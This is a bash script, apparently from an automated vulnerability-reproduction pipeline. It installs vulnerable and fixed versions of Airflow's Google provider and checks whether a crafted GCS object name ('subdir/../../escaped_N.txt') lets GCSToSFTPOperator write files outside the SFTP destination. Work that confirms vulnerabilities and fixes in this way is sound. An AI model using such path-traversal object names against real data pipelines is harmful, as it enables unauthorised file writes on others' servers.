#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ARTIFACTS="$ROOT/artifacts"
mkdir -p "$LOGS" "$REPRO_DIR" "$ARTIFACTS"

cd "$ROOT"

REPRO_LOG="$LOGS/reproduction_steps.log"
: > "$REPRO_LOG"
exec > >(tee -a "$REPRO_LOG")
exec 2>&1

VULN_VERSION="22.1.0"
FIXED_VERSION="22.2.1"
AIRFLOW_VERSION="3.2.2"
SFTP_PROVIDER_VERSION="5.8.2"
FAKE_GCS_VERSION="1.54.0"

VULN_VENV=""
FIXED_VENV=""
WORK_REPO=""
FAKE_GCS_BIN=""

write_fallback_manifest() {
  local note="$1"
  python3 - "$REPRO_DIR/runtime_manifest.json" "$note" <<'PY'
import json, sys
path, note = sys.argv[1:3]
manifest = {
    "entrypoint_kind": "endpoint",
    "entrypoint_detail": "Airflow DAG task using GCSToSFTPOperator with a real GCS JSON API emulator and a real SFTP protocol server",
    "service_started": False,
    "healthcheck_passed": False,
    "target_path_reached": False,
    "runtime_stack": ["python3", "apache-airflow", "apache-airflow-providers-google", "apache-airflow-providers-sftp", "google-cloud-storage", "fake-gcs-server", "paramiko"],
    "proof_artifacts": ["logs/reproduction_steps.log"],
    "notes": note,
}
open(path, "w").write(json.dumps(manifest, indent=2))
PY
}
trap 'rc=$?; if [ $rc -ne 0 ] && [ ! -s "$REPRO_DIR/runtime_manifest.json" ]; then write_fallback_manifest "reproduction_steps.sh exited before verdict evaluation"; fi' EXIT

choose_workdir() {
  local ctx="$ROOT/project_cache_context.json"
  local prepared="false"
  local cache_dir=""
  if [ -f "$ctx" ]; then
    prepared="$(python3 - "$ctx" <<'PY'
import json, sys
try:
    data=json.load(open(sys.argv[1]))
    print("true" if data.get("prepared") is True else "false")
except Exception:
    print("false")
PY
)"
    cache_dir="$(python3 - "$ctx" <<'PY'
import json, sys
try:
    data=json.load(open(sys.argv[1]))
    print(data.get("project_cache_dir") or "")
except Exception:
    print("")
PY
)"
  fi

  if [ "$prepared" = "true" ] && [ -n "$cache_dir" ]; then
    WORK_REPO="$cache_dir/repo"
    echo "[repro] Using prepared project cache workdir: $WORK_REPO"
  else
    WORK_REPO="$ARTIFACTS/airflow-google-provider"
    echo "[repro] No prepared project cache; using fallback workdir: $WORK_REPO"
  fi
  mkdir -p "$WORK_REPO/tools"
  VULN_VENV="$WORK_REPO/venv_google_provider_${VULN_VERSION}"
  if [ -x "$WORK_REPO/airflow_product_venv/bin/python" ] && [ "$($WORK_REPO/airflow_product_venv/bin/python -c "import importlib.metadata as m; print(m.version('apache-airflow-providers-google'))" 2>/dev/null || true)" = "$FIXED_VERSION" ]; then
    FIXED_VENV="$WORK_REPO/airflow_product_venv"
  else
    FIXED_VENV="$WORK_REPO/venv_google_provider_${FIXED_VERSION}"
  fi
  FAKE_GCS_BIN="$WORK_REPO/tools/fake-gcs-server"
}

ensure_fake_gcs() {
  if [ -x "$FAKE_GCS_BIN" ]; then
    echo "[repro] fake-gcs-server already present: $FAKE_GCS_BIN"
    echo "[repro] fake-gcs-server binary is executable"
    return
  fi
  echo "[repro] Downloading fsouza fake-gcs-server v$FAKE_GCS_VERSION"
  local tarball="$WORK_REPO/tools/fake-gcs-server_${FAKE_GCS_VERSION}_Linux_amd64.tar.gz"
  curl -L --fail -o "$tarball" "https://github.com/fsouza/fake-gcs-server/releases/download/v${FAKE_GCS_VERSION}/fake-gcs-server_${FAKE_GCS_VERSION}_Linux_amd64.tar.gz"
  tar -xzf "$tarball" -C "$WORK_REPO/tools"
  chmod +x "$FAKE_GCS_BIN"
  echo "[repro] fake-gcs-server binary downloaded"
}

ensure_venv() {
  local venv_path="$1"
  local version="$2"
  local py="$venv_path/bin/python"
  local pip="$venv_path/bin/pip"

  local created="false"
  if [ ! -f "$py" ]; then
    echo "[repro] Creating virtualenv at $venv_path"
    python3 -m venv "$venv_path"
    created="true"
  fi

  if [ "$created" = "true" ]; then
    "$py" -m pip install --quiet --upgrade pip setuptools wheel
  fi
  # Use the cached venv if it already contains the exact provider version.
  local installed="none"
  installed="$($py -c "import importlib.metadata; print(importlib.metadata.version('apache-airflow-providers-google'))" 2>/dev/null || echo none)"
  if [ "$installed" != "$version" ]; then
    echo "[repro] Installing Airflow $AIRFLOW_VERSION + Google provider $version + SFTP provider $SFTP_PROVIDER_VERSION"
    local constraints="$WORK_REPO/constraints-${AIRFLOW_VERSION}.txt"
    if [ ! -f "$constraints" ]; then
      curl -L --fail -o "$constraints" "https://raw.githubusercontent.com/apache/airflow/constraints-${AIRFLOW_VERSION}/constraints-3.14.txt" || true
    fi
    if [ -f "$constraints" ]; then
      "$pip" install --quiet --constraint "$constraints" \
        "apache-airflow==$AIRFLOW_VERSION" \
        "apache-airflow-providers-sftp==$SFTP_PROVIDER_VERSION" \
        "apache-airflow-providers-google==$version" || \
      "$pip" install --quiet --constraint "$constraints" \
        "apache-airflow==$AIRFLOW_VERSION" \
        "apache-airflow-providers-sftp==$SFTP_PROVIDER_VERSION" \
        "apache-airflow-providers-google==$version" \
        "google-cloud-aiplatform==1.159.0"
    else
      "$pip" install --quiet \
        "apache-airflow==$AIRFLOW_VERSION" \
        "apache-airflow-providers-sftp==$SFTP_PROVIDER_VERSION" \
        "apache-airflow-providers-google==$version" \
        "google-cloud-aiplatform==1.159.0"
    fi
  fi

  "$py" - <<'PY'
import importlib.metadata as m
from airflow.providers.google.cloud.transfers.gcs_to_sftp import GCSToSFTPOperator
from airflow.providers.google.cloud.hooks.gcs import GCSHook
print("airflow", m.version("apache-airflow"))
print("apache-airflow-providers-google", m.version("apache-airflow-providers-google"))
print("apache-airflow-providers-sftp", m.version("apache-airflow-providers-sftp"))
print("operator_file", __import__("inspect").getsourcefile(GCSToSFTPOperator))
print("gcs_hook_file", __import__("inspect").getsourcefile(GCSHook))
PY
}

run_attempt() {
  local py="$1"
  local version="$2"
  local attempt="$3"
  local out="$LOGS/attempt_${version}_${attempt}.json"
  local test_root="$ARTIFACTS/product_test_${version}_${attempt}"

  echo "[repro] Running product-path attempt version=$version attempt=$attempt"
  "$py" "$REPRO_DIR/product_harness.py" \
    --version "$version" \
    --attempt "$attempt" \
    --root "$test_root" \
    --out "$out" \
    --fake-gcs-binary "$FAKE_GCS_BIN"
}

choose_workdir
ensure_fake_gcs
ensure_venv "$VULN_VENV" "$VULN_VERSION"
ensure_venv "$FIXED_VENV" "$FIXED_VERSION"

PY_VULN="$VULN_VENV/bin/python"
PY_FIXED="$FIXED_VENV/bin/python"

rm -f "$LOGS"/attempt_*.json

echo "[repro] === VULNERABLE PRODUCT VERSION ($VULN_VERSION) ==="
run_attempt "$PY_VULN" "$VULN_VERSION" 1
run_attempt "$PY_VULN" "$VULN_VERSION" 2

echo "[repro] === FIXED PRODUCT VERSION ($FIXED_VERSION) ==="
run_attempt "$PY_FIXED" "$FIXED_VERSION" 1
run_attempt "$PY_FIXED" "$FIXED_VERSION" 2

echo "[repro] === Evaluating product-path results ==="
python3 - "$VULN_VERSION" "$FIXED_VERSION" "$LOGS" "$REPRO_DIR" "$ROOT" <<'PY'
import json, sys
from pathlib import Path

vuln_version, fixed_version, logs_dir, repro_dir, root = sys.argv[1:6]
logs = Path(logs_dir)
repro = Path(repro_dir)

results = {}
for version in (vuln_version, fixed_version):
    for attempt in (1, 2):
        p = logs / f"attempt_{version}_{attempt}.json"
        if p.exists():
            results[f"{version}_{attempt}"] = json.loads(p.read_text())

vuln_ok = all(
    results.get(f"{vuln_version}_{a}", {}).get("gcs_seed_ok") is True
    and results.get(f"{vuln_version}_{a}", {}).get("target_reached") is True
    and results.get(f"{vuln_version}_{a}", {}).get("escaped_file_exists") is True
    and results.get(f"{vuln_version}_{a}", {}).get("file_inside_destination") is False
    and results.get(f"{vuln_version}_{a}", {}).get("sftp_accepted_connections", 0) >= 1
    for a in (1, 2)
)
fixed_ok = all(
    results.get(f"{fixed_version}_{a}", {}).get("gcs_seed_ok") is True
    and results.get(f"{fixed_version}_{a}", {}).get("target_reached") is True
    and results.get(f"{fixed_version}_{a}", {}).get("escaped_file_exists") is False
    and results.get(f"{fixed_version}_{a}", {}).get("exception_type") == "ValueError"
    for a in (1, 2)
)
service_started = all(results.get(f"{v}_{a}", {}).get("fake_gcs_endpoint") for v in (vuln_version, fixed_version) for a in (1, 2))
healthcheck = all(results.get(f"{v}_{a}", {}).get("gcs_seed_ok") is True for v in (vuln_version, fixed_version) for a in (1, 2))
target = all(results.get(f"{v}_{a}", {}).get("target_reached") is True for v in (vuln_version, fixed_version) for a in (1, 2))

proof_artifacts = ["logs/reproduction_steps.log"]
for version in (vuln_version, fixed_version):
    for attempt in (1, 2):
        proof_artifacts.append(f"logs/attempt_{version}_{attempt}.json")
        r = results.get(f"{version}_{attempt}", {})
        root_path = Path(r.get("dag_file", "/nonexistent")).parents[1] if r.get("dag_file") else None
        # Product harness stores per-attempt runtime logs under artifacts/product_test_VERSION_ATTEMPT/.
        proof_artifacts.extend([
            f"artifacts/product_test_{version}_{attempt}/gcs_api_trace.json",
            f"artifacts/product_test_{version}_{attempt}/fake_gcs_server.log",
            f"artifacts/product_test_{version}_{attempt}/airflow_tasks_test.log",
            f"artifacts/product_test_{version}_{attempt}/airflow_home/dags/cve_2026_49297_repro_dag.py",
        ])

confirmed = vuln_ok and fixed_ok
if confirmed:
    print("[repro] RESULT: CONFIRMED. Airflow DAG task copied a '../' GCS object from the real GCS API boundary to an SFTP path outside destination_path in 22.1.0; 22.2.1 fails closed with ValueError before SFTP write.")
    verdict = {
        "claim_outcome": "confirmed",
        "claim_block_reason": None,
        "repro_result": "confirmed",
        "validated_surface": "api_remote",
        "evidence_scope": "production_path",
        "claimed_impact_class": "other",
        "observed_impact_class": "other",
        "exploitability_confidence": "high",
        "attacker_controlled_input": "GCS object name 'subdir/../../escaped_N.txt' returned by a bucket listing API for source_object 'subdir/*'",
        "trigger_path": "airflow tasks test -> GCSToSFTPOperator.execute() -> GCSHook.list/download over GCS JSON API -> SFTPHook.store_file",
        "end_to_end_target_reached": True,
        "sanitizer_used": False,
        "crash_observed": False,
        "read_write_primitive_observed": True,
        "exploit_chain_demonstrated": False,
        "blocking_mitigation": "apache-airflow-providers-google 22.2.1 rejects resolved destinations escaping destination_path in _resolve_destination_path",
        "inferred": False,
    }
    exit_code = 0
else:
    print(f"[repro] RESULT: NOT CONFIRMED. vuln_ok={vuln_ok} fixed_ok={fixed_ok}")
    verdict = {
        "claim_outcome": "unknown",
        "claim_block_reason": "infra_failure",
        "repro_result": "infrastructure_failed" if not results else "inconclusive",
        "validated_surface": "api_remote",
        "evidence_scope": "production_path",
        "claimed_impact_class": "other",
        "observed_impact_class": "none",
        "exploitability_confidence": "unknown",
        "attacker_controlled_input": "GCS object name containing '../' segments" if results else None,
        "trigger_path": "airflow tasks test -> GCSToSFTPOperator.execute()" if results else None,
        "end_to_end_target_reached": False,
        "sanitizer_used": False,
        "crash_observed": False,
        "read_write_primitive_observed": False,
        "exploit_chain_demonstrated": False,
        "blocking_mitigation": None,
        "inferred": False,
    }
    exit_code = 1

manifest = {
    "entrypoint_kind": "endpoint",
    "entrypoint_detail": "Real Airflow `airflow tasks test` DAG execution of GCSToSFTPOperator; operator reaches a real local GCS JSON API endpoint (fake-gcs-server) for bucket listing/download and a real Paramiko SFTP server for storage.",
    "service_started": bool(service_started),
    "healthcheck_passed": bool(healthcheck),
    "target_path_reached": bool(target),
    "runtime_stack": ["python3", "apache-airflow", "apache-airflow-providers-google", "apache-airflow-providers-sftp", "google-cloud-storage", "fake-gcs-server", "paramiko"],
    "proof_artifacts": proof_artifacts,
    "notes": "Two vulnerable 22.1.0 product attempts and two fixed 22.2.1 attempts were run. Vulnerable attempts create escaped files outside the SFTP destination; fixed attempts raise ValueError before SFTP write."
}
(repro / "validation_verdict.json").write_text(json.dumps(verdict, indent=2))
(repro / "runtime_manifest.json").write_text(json.dumps(manifest, indent=2))

sys.exit(exit_code)
PY

# Best-effort proof-carry for future runs when enabled by project cache context.
python3 - "$ROOT" "$WORK_REPO" <<'PY' || true
import json, shutil, sys
from pathlib import Path
root=Path(sys.argv[1]); work=Path(sys.argv[2]); ctx=root/'project_cache_context.json'
try:
    data=json.loads(ctx.read_text())
except Exception:
    raise SystemExit
proof_carry = data.get('proof_carry') or {}
if not proof_carry.get('enabled'):
    raise SystemExit
pc=work.parent/'.pruva'/'proof-carry'/'latest_attempt'
pc.mkdir(parents=True, exist_ok=True)
for rel in ['repro/reproduction_steps.sh','repro/product_harness.py','repro/runtime_manifest.json','repro/validation_verdict.json','logs/reproduction_steps.log']:
    src=root/rel
    if src.exists():
        dst=pc/rel.replace('/','_')
        shutil.copy2(src,dst)
# Confirmed proof is only copied after the current verdict is confirmed.
try:
    verdict=json.loads((root/'repro'/'validation_verdict.json').read_text())
except Exception:
    raise SystemExit
if verdict.get('repro_result') == 'confirmed':
    confirmed=work.parent/'.pruva'/'proof-carry'/'latest_confirmed'
    confirmed.mkdir(parents=True, exist_ok=True)
    for rel in ['repro/reproduction_steps.sh','repro/product_harness.py','repro/runtime_manifest.json','repro/validation_verdict.json','logs/reproduction_steps.log']:
        src=root/rel
        if src.exists():
            shutil.copy2(src, confirmed/rel.replace('/','_'))
PY

# Exit 0 = issue confirmed, Exit 1 = not reproduced